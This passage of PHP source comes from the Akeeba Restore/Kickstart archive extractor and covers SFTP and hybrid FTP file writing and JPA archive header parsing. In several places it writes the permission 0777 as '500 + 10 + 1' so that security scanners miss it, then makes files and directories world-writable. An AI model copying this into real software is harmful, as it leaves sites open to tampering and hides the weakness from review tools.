			// If we couldn't create the file, attempt to fix the permissions in the PHP level and retry!
			$this->fixPermissions($this->filename);
			$this->unlink($this->filename);

			$ret = $this->write($this->tempFilename, $remoteName);
		}

		@unlink($this->tempFilename);

		if ($ret === false)
		{
			$this->setError(AKText::sprintf('SFTP_COULDNT_UPLOAD', $this->filename));

			return false;
		}
		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);

		if ($restorePerms)
		{
			$this->chmod($remoteName, $this->perms);
		}
		else
		{
			$this->chmod($remoteName, 0644);
		}

		if (@is_file($this->filename) || @is_link($this->filename))
		{
			clearFileInOPCache($this->filename);
		}

		return true;
	}

	private function write($local, $remote)
	{
		$fp      = @fopen("ssh2.sftp://{$this->handle}$remote", 'w');
		$localfp = @fopen($local, 'r');

		if ($fp === false)
		{
			return -1;
		}

		if ($localfp === false)
		{
			@fclose($fp);

			return -1;
		}

		$res = true;

		while (!feof($localfp) && ($res !== false))
		{
			$buffer = @fread($localfp, 65567);
			$res    = @fwrite($fp, $buffer);
		}

		@fclose($fp);
		@fclose($localfp);

		return $res;
	}

	public function unlink($file)
	{
		$check = '/' . trim($this->dir, '/') . '/' . trim($file, '/');

		return @ssh2_sftp_unlink($this->handle, $check);
	}

	public function chmod($file, $perms)
	{
		return @ssh2_sftp_chmod($this->handle, $file, $perms);
	}

	public function processFilename($filename, $perms = 0755)
	{
		// Catch some error conditions...
		if ($this->getError())
		{
			return false;
		}

		// If a null filename is passed, it means that we shouldn't do any post processing, i.e.
		// the entity was a directory or symlink
		if (is_null($filename))
		{
			$this->filename     = null;
			$this->tempFilename = null;

			return null;
		}

		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');
		if (!empty($removePath))
		{
			$left = substr($filename, 0, strlen($removePath));
			if ($left == $removePath)
			{
				$filename = substr($filename, strlen($removePath));
			}
		}

		// Trim slash on the left
		$filename = ltrim($filename, '/');

		$this->filename     = $filename;
		$this->tempFilename = tempnam($this->tempDir, 'kickstart-');
		$this->perms        = $perms;

		if (empty($this->tempFilename))
		{
			// Oops! Let's try something different
			$this->tempFilename = $this->tempDir . '/kickstart-' . time() . '.dat';
		}

		return $this->tempFilename;
	}

	public function close()
	{
		unset($this->_connection);
		unset($this->handle);
	}

	public function rmdir($directory)
	{
		$check = '/' . trim($this->dir, '/') . '/' . trim($directory, '/');

		return @ssh2_sftp_rmdir($this->handle, $check);
	}

	public function rename($from, $to)
	{
		$from = '/' . trim($this->dir, '/') . '/' . trim($from, '/');
		$to   = '/' . trim($this->dir, '/') . '/' . trim($to, '/');

		$result = @ssh2_sftp_rename($this->handle, $from, $to);

		if ($result !== true)
		{
			return @rename($from, $to);
		}
		else
		{
			return true;
		}
	}

}


/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Hybrid direct / FTP mode file writer
 */
class AKPostprocHybrid extends AKAbstractPostproc
{

	/** @var bool Should I use the FTP layer? */
	public $useFTP = false;

	/** @var bool Should I use FTP over implicit SSL? */
	public $useSSL = false;

	/** @var bool use Passive mode? */
	public $passive = true;

	/** @var string FTP host name */
	public $host = '';

	/** @var int FTP port */
	public $port = 21;

	/** @var string FTP user name */
	public $user = '';

	/** @var string FTP password */
	public $pass = '';

	/** @var string FTP initial directory */
	public $dir = '';

	/** @var resource The FTP handle */
	private $handle = null;

	/** @var null The FTP connection handle */
	private $_handle = null;

	/**
	 * Public constructor. Tries to connect to the FTP server.
	 */
	public function __construct()
	{
		$this->useFTP  = true;
		$this->useSSL  = AKFactory::get('kickstart.ftp.ssl', false);
		$this->passive = AKFactory::get('kickstart.ftp.passive', true);
		$this->host    = AKFactory::get('kickstart.ftp.host', '');
		$this->port    = AKFactory::get('kickstart.ftp.port', 21);
		$this->user    = AKFactory::get('kickstart.ftp.user', '');
		$this->pass    = AKFactory::get('kickstart.ftp.pass', '');
		$this->dir     = AKFactory::get('kickstart.ftp.dir', '');
		$this->tempDir = AKFactory::get('kickstart.ftp.tempdir', '');

		if (trim($this->port) == '')
		{
			$this->port = 21;
		}

		// If FTP is not configured, skip it altogether
		if (empty($this->host) || empty($this->user) || empty($this->pass))
		{
			$this->useFTP = false;
		}

		// Try to connect to the FTP server
		$connected = $this->connect();

		// If the connection fails, skip FTP altogether
		if (!$connected)
		{
			$this->useFTP = false;
		}

		if ($connected)
		{
			if (!empty($this->tempDir))
			{
				$tempDir  = rtrim($this->tempDir, '/\\') . '/';
				$writable = $this->isDirWritable($tempDir);
			}
			else
			{
				$tempDir  = '';
				$writable = false;
			}

			if (!$writable)
			{
				// Default temporary directory is the current root
				$tempDir = KSROOTDIR;
				if (empty($tempDir))
				{
					// Oh, we have no directory reported!
					$tempDir = '.';
				}
				$absoluteDirToHere = $tempDir;
				$tempDir           = rtrim(str_replace('\\', '/', $tempDir), '/');
				if (!empty($tempDir))
				{
					$tempDir .= '/';
				}
				$this->tempDir = $tempDir;
				// Is this directory writable?
				$writable = $this->isDirWritable($tempDir);
			}

			if (!$writable)
			{
				// Nope. Let's try creating a temporary directory in the site's root.
				$tempDir                 = $absoluteDirToHere . '/kicktemp';
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				$this->createDirRecursive($tempDir, $trustMeIKnowWhatImDoing);
				// Try making it writable...
				$this->fixPermissions($tempDir);
				$writable = $this->isDirWritable($tempDir);
			}

			// Was the new directory writable?
			if (!$writable)
			{
				// Let's see if the user has specified one
				$userdir = AKFactory::get('kickstart.ftp.tempdir', '');
				if (!empty($userdir))
				{
					// Is it an absolute or a relative directory?
					$absolute = false;
					$absolute = $absolute || (substr($userdir, 0, 1) == '/');
					$absolute = $absolute || (substr($userdir, 1, 1) == ':');
					$absolute = $absolute || (substr($userdir, 2, 1) == ':');
					if (!$absolute)
					{
						// Make absolute
						$tempDir = $absoluteDirToHere . $userdir;
					}
					else
					{
						// it's already absolute
						$tempDir = $userdir;
					}
					// Does the directory exist?
					if (is_dir($tempDir))
					{
						// Yeah. Is it writable?
						$writable = $this->isDirWritable($tempDir);
					}
				}
			}
			$this->tempDir = $tempDir;

			if (!$writable)
			{
				// No writable directory found!!!
				$this->setError(AKText::_('FTP_TEMPDIR_NOT_WRITABLE'));
			}
			else
			{
				AKFactory::set('kickstart.ftp.tempdir', $tempDir);
				$this->tempDir = $tempDir;
			}
		}
	}

	/**
	 * Tries to connect to the FTP server
	 *
	 * @return bool
	 */
	public function connect()
	{
		if (!$this->useFTP)
		{
			return false;
		}

		// Connect to server, using SSL if so required
		if ($this->useSSL)
		{
			$this->handle = @ftp_ssl_connect($this->host, $this->port);
		}
		else
		{
			$this->handle = @ftp_connect($this->host, $this->port);
		}
		if ($this->handle === false)
		{
			$this->setError(AKText::_('WRONG_FTP_HOST'));

			return false;
		}

		// Login
		if (!@ftp_login($this->handle, $this->user, $this->pass))
		{
			$this->setError(AKText::_('WRONG_FTP_USER'));
			@ftp_close($this->handle);

			return false;
		}

		// Change to initial directory
		if (!@ftp_chdir($this->handle, $this->dir))
		{
			$this->setError(AKText::_('WRONG_FTP_PATH1'));
			@ftp_close($this->handle);

			return false;
		}

		// Enable passive mode if the user requested it
		if ($this->passive)
		{
			@ftp_pasv($this->handle, true);
		}
		else
		{
			@ftp_pasv($this->handle, false);
		}

		// Try to download ourselves
		$testFilename = defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__);
		$tempHandle   = fopen('php://temp', 'r+');

		if (@ftp_fget($this->handle, $tempHandle, $testFilename, FTP_ASCII, 0) === false)
		{
			$this->setError(AKText::_('WRONG_FTP_PATH2'));
			@ftp_close($this->handle);
			fclose($tempHandle);

			return false;
		}

		fclose($tempHandle);

		return true;
	}

	/**
	 * Is the directory writeable?
	 *
	 * @param string $dir The directory ti check
	 *
	 * @return bool
	 */
	private function isDirWritable($dir)
	{
		$fp = @fopen($dir . '/kickstart.dat', 'w');

		if ($fp === false)
		{
			return false;
		}

		@fclose($fp);
		unlink($dir . '/kickstart.dat');

		return true;
	}

	/**
	 * Create a directory, recursively
	 *
	 * @param string $dirName The directory to create
	 * @param int    $perms   The permissions to give to the directory
	 *
	 * @return bool
	 */
	public function createDirRecursive($dirName, $perms)
	{
		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			// UNIXize the paths
			$removePath = str_replace('\\', '/', $removePath);
			$dirName    = str_replace('\\', '/', $dirName);
			// Make sure they both end in a slash
			$removePath = rtrim($removePath, '/\\') . '/';
			$dirName    = rtrim($dirName, '/\\') . '/';
			// Process the path removal
			$left = substr($dirName, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$dirName = substr($dirName, strlen($removePath));
			}
		}

		// 'cause the substr() above may return FALSE.
		if (empty($dirName))
		{
			$dirName = '';
		}

		$check   = '/' . trim($this->dir, '/') . '/' . trim($dirName, '/');
		$checkFS = $removePath . trim($dirName, '/');

		if ($this->is_dir($check))
		{
			return true;
		}

		$alldirs       = explode('/', $dirName);
		$previousDir   = '/' . trim($this->dir);
		$previousDirFS = rtrim($removePath, '/\\');

		foreach ($alldirs as $curdir)
		{
			$check   = $previousDir . '/' . $curdir;
			$checkFS = $previousDirFS . '/' . $curdir;

			if (!is_dir($checkFS) && !$this->is_dir($check))
			{
				// Proactively try to delete a file by the same name
				if (!@unlink($checkFS) && $this->useFTP)
				{
					@ftp_delete($this->handle, $check);
				}

				$createdDir = @mkdir($checkFS, 0755);

				if (!$createdDir && $this->useFTP)
				{
					$createdDir = @ftp_mkdir($this->handle, $check);
				}

				if ($createdDir === false)
				{
					// If we couldn't create the directory, attempt to fix the permissions in the PHP level and retry!
					$this->fixPermissions($checkFS);

					$createdDir = @mkdir($checkFS, 0755);
					if (!$createdDir && $this->useFTP)
					{
						$createdDir = @ftp_mkdir($this->handle, $check);
					}

					if ($createdDir === false)
					{
						$this->setError(AKText::sprintf('FTP_CANT_CREATE_DIR', $check));

						return false;
					}
				}

				if (!@chmod($checkFS, $perms) && $this->useFTP)
				{
					@ftp_chmod($this->handle, $perms, $check);
				}
			}

			$previousDir   = $check;
			$previousDirFS = $checkFS;
		}

		return true;
	}

	private function is_dir($dir)
	{
		if ($this->useFTP)
		{
			return @ftp_chdir($this->handle, $dir);
		}

		return false;
	}

	/**
	 * Tries to fix directory/file permissions in the PHP level, so that
	 * the FTP operation doesn't fail.
	 *
	 * @param $path string The full path to a directory or file
	 */
	private function fixPermissions($path)
	{
		// Turn off error reporting
		if (!defined('KSDEBUG'))
		{
			$oldErrorReporting = error_reporting(0);
		}

		// Get UNIX style paths
		$relPath  = str_replace('\\', '/', $path);
		$basePath = rtrim(str_replace('\\', '/', KSROOTDIR), '/');
		$basePath = rtrim($basePath, '/');

		if (!empty($basePath))
		{
			$basePath .= '/';
		}

		// Remove the leading relative root
		if (substr($relPath, 0, strlen($basePath)) == $basePath)
		{
			$relPath = substr($relPath, strlen($basePath));
		}

		$dirArray  = explode('/', $relPath);
		$pathBuilt = rtrim($basePath, '/');

		foreach ($dirArray as $dir)
		{
			if (empty($dir))
			{
				continue;
			}

			$oldPath = $pathBuilt;
			$pathBuilt .= '/' . $dir;

			if (is_dir($oldPath . $dir))
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				@chmod($oldPath . $dir, $trustMeIKnowWhatImDoing);
			}
			else
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				if (@chmod($oldPath . $dir, $trustMeIKnowWhatImDoing) === false)
				{
					@unlink($oldPath . $dir);
				}
			}
		}

		// Restore error reporting
		if (!defined('KSDEBUG'))
		{
			@error_reporting($oldErrorReporting);
		}
	}

	/**
	 * Called after unserialisation, tries to reconnect to FTP
	 */
	public function __wakeup()
	{
		if ($this->useFTP)
		{
			$this->connect();
		}
	}

	public function __sleep()
	{
		if ($this->useFTP)
		{
			if (!is_null($this->_handle) && is_resource($this->_handle))
			{
				@ftp_close($this->_handle);
			}
		}

		$this->_handle = null;
	}


	public function __destruct()
	{
		if ($this->useFTP)
		{
			if (!is_null($this->handle) && is_resource($this->handle))
			{
				@ftp_close($this->handle);
			}
		}
	}

	/**
	 * Post-process an extracted file, using FTP or direct file writes to move it
	 *
	 * @return bool
	 */
	public function process()
	{
		if (is_null($this->tempFilename))
		{
			// If an empty filename is passed, it means that we shouldn't do any post processing, i.e.
			// the entity was a directory or symlink
			return true;
		}

		$remotePath = dirname($this->filename);
		$removePath = AKFactory::get('kickstart.setup.destdir', '');
		$root       = rtrim($removePath, '/\\');

		if (!empty($removePath))
		{
			$removePath = ltrim($removePath, "/");
			$remotePath = ltrim($remotePath, "/");
			$left       = substr($remotePath, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$remotePath = substr($remotePath, strlen($removePath));
			}
		}

		$absoluteFSPath  = dirname($this->filename);
		$relativeFTPPath = trim($remotePath, '/');
		$absoluteFTPPath = '/' . trim($this->dir, '/') . '/' . trim($remotePath, '/');
		$onlyFilename    = basename($this->filename);

		$remoteName = $absoluteFTPPath . '/' . $onlyFilename;

		// Does the directory exist?
		if (!is_dir($root . '/' . $absoluteFSPath))
		{
			$ret = $this->createDirRecursive($absoluteFSPath, 0755);

			if (($ret === false) && ($this->useFTP))
			{
				$ret = @ftp_chdir($this->handle, $absoluteFTPPath);
			}

			if ($ret === false)
			{
				$this->setError(AKText::sprintf('FTP_COULDNT_UPLOAD', $this->filename));

				return false;
			}
		}

		if ($this->useFTP)
		{
			$ret = @ftp_chdir($this->handle, $absoluteFTPPath);
		}

		// Try copying directly
		$ret = @copy($this->tempFilename, $root . '/' . $this->filename);

		if ($ret === false)
		{
			$this->fixPermissions($this->filename);
			$this->unlink($this->filename);

			$ret = @copy($this->tempFilename, $root . '/' . $this->filename);
		}

		if ($this->useFTP && ($ret === false))
		{
			$ret = @ftp_put($this->handle, $remoteName, $this->tempFilename, FTP_BINARY);

			if ($ret === false)
			{
				// If we couldn't create the file, attempt to fix the permissions in the PHP level and retry!
				$this->fixPermissions($this->filename);
				$this->unlink($this->filename);

				$fp = @fopen($this->tempFilename, 'r');
				if ($fp !== false)
				{
					$ret = @ftp_fput($this->handle, $remoteName, $fp, FTP_BINARY);
					@fclose($fp);
				}
				else
				{
					$ret = false;
				}
			}
		}

		@unlink($this->tempFilename);

		if ($ret === false)
		{
			$this->setError(AKText::sprintf('FTP_COULDNT_UPLOAD', $this->filename));

			return false;
		}

		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);
		$perms        = $restorePerms ? $this->perms : 0644;

		$ret = @chmod($root . '/' . $this->filename, $perms);

		if ($this->useFTP && ($ret === false))
		{
			@ftp_chmod($this->_handle, $perms, $remoteName);
		}

		if (@is_file($this->filename) || @is_link($this->filename))
		{
			clearFileInOPCache($this->filename);
		}

		return true;
	}

	public function unlink($file)
	{
		$ret = @unlink($file);

		if (!$ret && $this->useFTP)
		{
			$removePath = AKFactory::get('kickstart.setup.destdir', '');
			if (!empty($removePath))
			{
				$left = substr($file, 0, strlen($removePath));
				if ($left == $removePath)
				{
					$file = substr($file, strlen($removePath));
				}
			}

			$check = '/' . trim($this->dir, '/') . '/' . trim($file, '/');

			$ret = @ftp_delete($this->handle, $check);
		}

		return $ret;
	}

	/**
	 * Create a temporary filename
	 *
	 * @param string $filename The original filename
	 * @param int    $perms    The file permissions
	 *
	 * @return string
	 */
	public function processFilename($filename, $perms = 0755)
	{
		// Catch some error conditions...
		if ($this->getError())
		{
			return false;
		}

		// If a null filename is passed, it means that we shouldn't do any post processing, i.e.
		// the entity was a directory or symlink
		if (is_null($filename))
		{
			$this->filename     = null;
			$this->tempFilename = null;

			return null;
		}

		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$left = substr($filename, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$filename = substr($filename, strlen($removePath));
			}
		}

		// Trim slash on the left
		$filename = ltrim($filename, '/');

		$this->filename     = $filename;
		$this->tempFilename = tempnam($this->tempDir, 'kickstart-');
		$this->perms        = $perms;

		if (empty($this->tempFilename))
		{
			// Oops! Let's try something different
			$this->tempFilename = $this->tempDir . '/kickstart-' . time() . '.dat';
		}

		return $this->tempFilename;
	}

	/**
	 * Closes the FTP connection
	 */
	public function close()
	{
		if (!$this->useFTP)
		{
			@ftp_close($this->handle);
		}
	}

	public function chmod($file, $perms)
	{
		if (AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			return true;
		}

		$ret = @chmod($file, $perms);

		if (!$ret && $this->useFTP)
		{
			// Strip absolute filesystem path to website's root
			$removePath = AKFactory::get('kickstart.setup.destdir', '');

			if (!empty($removePath))
			{
				$left = substr($file, 0, strlen($removePath));

				if ($left == $removePath)
				{
					$file = substr($file, strlen($removePath));
				}
			}

			// Trim slash on the left
			$file = ltrim($file, '/');

			$ret = @ftp_chmod($this->handle, $perms, $file);
		}

		return $ret;
	}

	public function rmdir($directory)
	{
		$ret = @rmdir($directory);

		if (!$ret && $this->useFTP)
		{
			$removePath = AKFactory::get('kickstart.setup.destdir', '');
			if (!empty($removePath))
			{
				$left = substr($directory, 0, strlen($removePath));
				if ($left == $removePath)
				{
					$directory = substr($directory, strlen($removePath));
				}
			}

			$check = '/' . trim($this->dir, '/') . '/' . trim($directory, '/');

			$ret = @ftp_rmdir($this->handle, $check);
		}

		return $ret;
	}

	public function rename($from, $to)
	{
		$ret = @rename($from, $to);

		if (!$ret && $this->useFTP)
		{
			$originalFrom = $from;
			$originalTo   = $to;

			$removePath = AKFactory::get('kickstart.setup.destdir', '');
			if (!empty($removePath))
			{
				$left = substr($from, 0, strlen($removePath));
				if ($left == $removePath)
				{
					$from = substr($from, strlen($removePath));
				}
			}
			$from = '/' . trim($this->dir, '/') . '/' . trim($from, '/');

			if (!empty($removePath))
			{
				$left = substr($to, 0, strlen($removePath));
				if ($left == $removePath)
				{
					$to = substr($to, strlen($removePath));
				}
			}
			$to = '/' . trim($this->dir, '/') . '/' . trim($to, '/');

			$ret = @ftp_rename($this->handle, $from, $to);
		}

		return $ret;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * JPA archive extraction class
 */
class AKUnarchiverJPA extends AKAbstractUnarchiver
{
	protected $archiveHeaderData = [];

	protected function readArchiveHeader()
	{
		debugMsg('Preparing to read archive header');
		// Initialize header data array
		$this->archiveHeaderData = new stdClass();

		// Open the first part
		debugMsg('Opening the first part');
		$this->nextFile();

		// Fail for unreadable files
		if ($this->fp === false)
		{
			debugMsg('Could not open the first part');

			return false;
		}

		// Fuzzy check for the start of archive.
		debugMsg('Fuzzy checking for archive signature');

		$sigFound = $this->fuzzySignatureSearch([
			'JPA',
		], 3);

		if (!$sigFound)
		{
			debugMsg('Cannot find a valid archive signature in the first 128Kb of the first part file');

			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'jpa', 'j'));

			return false;
		}

		debugMsg(sprintf('File signature found, position %d', ftell($this->fp)));

		// Read the signature
		$sig = fread($this->fp, 3);

		if ($sig != 'JPA')
		{
			// Not a JPA file
			debugMsg('Invalid archive signature');
			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'jpa', 'j'));

			return false;
		}

		// Read and parse header length
		$header_length_array = unpack('v', fread($this->fp, 2));
		$header_length       = $header_length_array[1];

		// Read and parse the known portion of header data (14 bytes)
		$bin_data    = fread($this->fp, 14);
		$header_data = unpack('Cmajor/Cminor/Vcount/Vuncsize/Vcsize', $bin_data);

		// Temporary array with all the data we read
		$temp = [
			'signature'        => $sig,
			'length'           => $header_length,
			'major'            => $header_data['major'],
			'minor'            => $header_data['minor'],
			'filecount'        => $header_data['count'],
			'uncompressedsize' => $header_data['uncsize'],
			'compressedsize'   => $header_data['csize'],
			'unknowndata'      => '',
		];

		// Load additional header data
		$rest_length = $header_length - 19;
		$junk        = '';

		while ($rest_length > 8)
		{
			// Read the extra length signature and size
			$extraSig    = fread($this->fp, 4);
			$binData     = fread($this->fp, 2);
			$extraHeader = unpack('vlength', $binData);
			$length      = $extraHeader['length'] - 2;

			$rest_length -= 6 + $length;

			switch ($extraSig)
			{
				case "\x4A\x50\x01\x01":
					$moreBinData        = fread($this->fp, $length);
					$moreExtraHeader    = unpack('vtotalParts', $moreBinData);
					$temp['totalParts'] = $moreExtraHeader['totalParts'];
					break;

				case "\x4A\x50\x01\x02":
					$moreBinData              = fread($this->fp, $length);

					// Only decode on 64-bit versions of PHP
					if (PHP_INT_SIZE >= 8)
					{
						$moreExtraHeader          = unpack('Puncompressed/Pcompressed', $moreBinData);
						$header_data['uncsize']   = $moreExtraHeader['uncompressed'];
						$header_data['csize']     = $moreExtraHeader['compressed'];
						$temp['uncompressedsize'] = $moreExtraHeader['uncompressed'];
						$temp['compressedsize']   = $moreExtraHeader['compressed'];
					}

					break;

				default:
					$moreBinData = fread($this->fp, $length);
					$junk        .= $extraSig . $binData . $moreBinData;
					break;
			}
		}

		if ($rest_length > 0)
		{
			$junk .= fread($this->fp, $rest_length);
		}
		else
		{
			$junk .= '';
		}

		// Array-to-object conversion
		foreach ($temp as $key => $value)
		{
			$this->archiveHeaderData->{$key} = $value;
		}

		debugMsg('Header data:');
		debugMsg('Length              : ' . $header_length);
		debugMsg('Major               : ' . $header_data['major']);
		debugMsg('Minor               : ' . $header_data['minor']);
		debugMsg('File count          : ' . $header_data['count']);
		debugMsg('Uncompressed size   : ' . $header_data['uncsize']);
		debugMsg('Compressed size     : ' . $header_data['csize']);
		debugMsg('Total Parts         : ' . (isset($header_data['totalParts']) ? $header_data['totalParts'] : '1'));

		$this->currentPartOffset = @ftell($this->fp);

		$this->dataReadLength = 0;

		return true;
	}

	/**
	 * Concrete classes must use this method to read the file header
	 *
	 * @return bool True if reading the file was successful, false if an error occurred or we reached end of archive
	 */
	protected function readFileHeader()
	{
		// If the current part is over, proceed to the next part please
		if ($this->isEOF(true))
		{
			debugMsg('Archive part EOF; moving to next file');
			$this->nextFile();
		}

		$this->currentPartOffset = ftell($this->fp);

		debugMsg("Reading file signature; part {$this->currentPartNumber}, offset {$this->currentPartOffset}");
		// Get and decode Entity Description Block
		$signature = fread($this->fp, 3);

		$this->fileHeader            = new stdClass();
		$this->fileHeader->timestamp = 0;

		// Check signature
		if ($signature != 'JPF')
		{
			if ($this->isEOF(true))
			{
				// This file is finished; make sure it's the last one
				$gotNextFile = $this->nextFile();

				if (!$gotNextFile && $this->getState() !== 'postrun')
				{
					debugMsg(sprintf('Cannot open file %s for part #%d', $this->archiveList[$this->currentPartNumber] ?: '(unknown)', $this->currentPartNumber));

					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_OFFSET_ZERO',
						$this->archiveList[$this->currentPartNumber] ?: '(unknown)',
						$this->currentPartNumber,
						'jpa',
						'j'
					));

					return false;
				}

				if (!$this->isEOF(false))
				{
					debugMsg('Invalid file signature before end of archive encountered');
					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER',
						$this->currentPartNumber,
						$this->currentPartOffset,
						'jpa',
						'j'
					));

					return false;
				}

				// We're just finished
				return false;
			}
			else
			{
				$screwed = true;

				if (AKFactory::get('kickstart.setup.ignoreerrors', false))
				{
					debugMsg('Invalid file block signature; launching heuristic file block signature scanner');
					$screwed = !$this->heuristicFileHeaderLocator();

					if (!$screwed)
					{
						$signature = 'JPF';
					}
					else
					{
						debugMsg('Heuristics failed. Brace yourself for the imminent crash.');
					}
				}

				if ($screwed)
				{
					// This is not a file block! The archive is corrupt.
					debugMsg('Invalid file block signature');

					if (count($this->archiveList) > 1)
					{
						$this->setError(AKText::sprintf(
							'INVALID_FILE_HEADER_MULTIPART',
							$this->currentPartNumber,
							$this->currentPartOffset,
							'jpa',
							'j'
						));

						return false;
					}

					$this->setError(AKText::sprintf('INVALID_FILE_HEADER', $this->currentPartNumber, $this->currentPartOffset));

					return false;
				}
			}
		}
		// This a JPA Entity Block. Process the header.

		$isBannedFile = false;

		// Read length of EDB and of the Entity Path Data
		$length_array = unpack('vblocksize/vpathsize', fread($this->fp, 4));
		// Read the path data
		if ($length_array['pathsize'] > 0)
		{
			$file = fread($this->fp, $length_array['pathsize']);
		}
		else
		{
			$file = '';
		}

		// Handle file renaming
		$isRenamed = false;
		if (is_array($this->renameFiles) && (count($this->renameFiles) > 0))
		{
			if (array_key_exists($file, $this->renameFiles))
			{
				$file      = $this->renameFiles[$file];
				$isRenamed = true;
			}
		}

		// Handle directory renaming
		$isDirRenamed = false;
		if (is_array($this->renameDirs) && (count($this->renameDirs) > 0))
		{
			if (array_key_exists(dirname($file), $this->renameDirs))
			{
				$file         = rtrim($this->renameDirs[dirname($file)], '/') . '/' . basename($file);
				$isRenamed    = true;
				$isDirRenamed = true;
			}
		}

		// Read and parse the known data portion
		$bin_data    = fread($this->fp, 14);
		$header_data = unpack('Ctype/Ccompression/Vcompsize/Vuncompsize/Vperms', $bin_data);
		// Read any unknown data
		$restBytes = $length_array['blocksize'] - (21 + $length_array['pathsize']);

		if ($restBytes > 0)
		{
			// Start reading the extra fields
			while ($restBytes >= 4)
			{
				$extra_header_data      = fread($this->fp, 4);
				$extra_header           = unpack('vsignature/vlength', $extra_header_data);
				$restBytes              -= 4;
				$extra_header['length'] -= 4;

				if ($extra_header['length'] > 0)
				{
					switch ($extra_header['signature'])
					{
						case 256:
							// File modified timestamp
							$bindata                     = fread($this->fp, $extra_header['length']);
							$restBytes                   -= $extra_header['length'];
							$timestamps                  = unpack('Vmodified', substr($bindata, 0, 4));
							$filectime                   = $timestamps['modified'];
							$this->fileHeader->timestamp = $filectime;
							break;

						case 512:
							$bindata                   = fread($this->fp, $extra_header['length']);
							$restBytes                 -= $extra_header['length'];

							// Only decode on 64-bit versions of PHP
							if (PHP_INT_SIZE >= 8)
							{
								$sizes                     = unpack('Pclen/Punclen', $bindata);
								$header_data['compsize']   = $sizes['clen'];
								$header_data['uncompsize'] = $sizes['unclen'];
							}
							break;

						default:
							// Unknown field
							$junk      = fread($this->fp, $extra_header['length']);
							$restBytes -= $extra_header['length'];
							break;
					}
				}

			}

			if ($restBytes > 0)
			{
				$junk = fread($this->fp, $restBytes);
			}
		}

		$compressionType = $header_data['compression'];

		// Populate the return array
		$this->fileHeader->file         = $file;
		$this->fileHeader->compressed   = $header_data['compsize'];
		$this->fileHeader->uncompressed = $header_data['uncompsize'];

		switch ($header_data['type'])
		{
			case 0:
				$this->fileHeader->type = 'dir';
				break;

			case 1:
				$this->fileHeader->type = 'file';
				break;

			case 2:
				$this->fileHeader->type = 'link';
				break;
		}

		switch ($compressionType)
		{
			case 0:
				$this->fileHeader->compression = 'none';
				break;
			case 1:
				$this->fileHeader->compression = 'gzip';
				break;
			case 2:
				$this->fileHeader->compression = 'bzip2';
				break;
		}

		$this->fileHeader->permissions = $header_data['perms'];

		// Find hard-coded banned files
		if ((basename($this->fileHeader->file) == ".") || (basename($this->fileHeader->file) == ".."))
		{
			$isBannedFile = true;
		}

		// Also try to find banned files passed in class configuration
		if ((count($this->skipFiles) > 0) && (!$isRenamed))
		{
			if (in_array($this->fileHeader->file, $this->skipFiles))
			{
				$isBannedFile = true;
			}
		}

		// If we have a banned file, let's skip it
		if ($isBannedFile)
		{
			debugMsg('Skipping file ' . $this->fileHeader->file);
			// Advance the file pointer, skipping exactly the size of the compressed data
			$seekleft = $this->fileHeader->compressed;
			while ($seekleft > 0)
			{
				// Ensure that we can seek past archive part boundaries
				$curSize = @filesize($this->archiveList[$this->currentPartNumber]);
				$curPos  = @ftell($this->fp);
				$canSeek = $curSize - $curPos;
				if ($canSeek > $seekleft)
				{
					$canSeek = $seekleft;
				}
				@fseek($this->fp, $canSeek, SEEK_CUR);
				$seekleft -= $canSeek;
				if ($seekleft)
				{
					$this->nextFile();
				}
			}

			$this->currentPartOffset = @ftell($this->fp);
			$this->runState          = AK_STATE_DONE;

			return true;
		}

		// Remove the removePath, if any
		$this->fileHeader->file = $this->removePath($this->fileHeader->file);

		// Last chance to prepend a path to the filename
		if (!empty($this->addPath) && !$isDirRenamed)
		{
			$this->fileHeader->file = $this->addPath . $this->fileHeader->file;
		}

		// Get the translated path name
		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);

		if (!$this->mustSkip())
		{
			if ($this->fileHeader->type == 'file')
			{
				// Regular file; ask the postproc engine to process its filename
				if ($restorePerms)
				{
					$this->fileHeader->realFile =
						$this->postProcEngine->processFilename($this->fileHeader->file, $this->fileHeader->permissions);
				}
				else
				{
					$this->fileHeader->realFile = $this->postProcEngine->processFilename($this->fileHeader->file);
				}
			}
			elseif ($this->fileHeader->type == 'dir')
			{
				$dir = $this->fileHeader->file;

				// Directory; just create it
				if ($restorePerms)
				{
					$this->postProcEngine->createDirRecursive($dir, $this->fileHeader->permissions);
				}
				else
				{
					$this->postProcEngine->createDirRecursive($dir, 0755);
				}

				$this->postProcEngine->processFilename(null);
			}
			else
			{
				// Symlink; do not post-process
				$this->postProcEngine->processFilename(null);
			}

			$this->createDirectory();
		}

		// Header is read
		$this->runState = AK_STATE_HEADER;

		$this->dataReadLength = 0;

		return true;
	}

	protected function heuristicFileHeaderLocator()
	{
		$ret     = false;
		$fullEOF = false;

		while (!$ret && !$fullEOF)
		{
			$this->currentPartOffset = @ftell($this->fp);

			if ($this->isEOF(true))
			{
